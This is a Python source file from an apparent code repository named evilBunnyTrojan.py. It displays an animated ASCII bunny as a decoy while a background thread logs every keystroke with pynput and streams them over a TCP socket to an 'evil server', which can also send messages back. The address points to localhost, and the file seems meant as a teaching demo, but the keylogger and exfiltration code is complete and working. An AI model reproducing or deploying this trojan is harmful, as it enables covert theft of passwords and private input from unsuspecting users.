-
Notifications
You must be signed in to change notification settings - Fork 24
/
evilBunnyTrojan.py
134 lines (88 loc) · 2.72 KB
/
evilBunnyTrojan.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
from pynput import keyboard
import sys
import time
import socket
import threading
############################################################################
evilBunnyServerIP = "127.0.0.1"
evilBunnyServerPort = 8912
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
############################################################################
def start_new_thread(f, args):
t = threading.Thread(target=f, args=args)
t.start()
return t
def main():
global sock
# Establish TCP socket with the distant server
try:
sock.connect((evilBunnyServerIP, evilBunnyServerPort))
except Exception:
print("Something wrong happened. Failed to connect to evil server? You should launch evilBunnyServer in another terminal first!")
sys.exit(1)
t1 = start_new_thread(animatedBunny, ())
t2 = start_new_thread(keylog, ())
t3 = start_new_thread(printMessagesFromEvilServer, ())
# Send a hello message
sock.send(b"Hello evil server !")
# Infinite loop so that the program and thread keeps running
while True:
if any(not t.is_alive() for t in [t1, t2, t3]):
sock = None
sys.exit(0)
############################################################################
# Thread launched after connection with the evil server is started
# -> it launces the keylogger
def keylog():
def on_press(key):
if sock is None:
sys.exit(0)
try:
sock.send(bytes(str(key).encode('utf-8')))
except Exception as e:
sys.exit(1)
# Collect events until released
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
############################################################################
def printMessagesFromEvilServer():
while True:
if sock is None:
sys.exit(0)
data = sock.recv(1024).decode('utf-8')
if not data:
sys.exit(0)
print("[Server] " + data)
############################################################################
bunny1 = r"""
\`\ /`/
\ V /
/. .\
=\ ~ /=
/ ^ \
/\\ //\
__\ " " /__
(____/^\____)
"""
bunny2 = r"""
\`\ /`/
\ V /
/. .\
=\ v /=
/ ^ \
/\\ //\
\ " " /
/ / \ \
/ / \ \
`- `-`
"""
def animatedBunny():
while True:
if sock is None:
sys.exit(0)
print("\n" * 80 + bunny1)
time.sleep(1)
print("\n" * 80 + bunny2)
time.sleep(1)
############################################################################
main()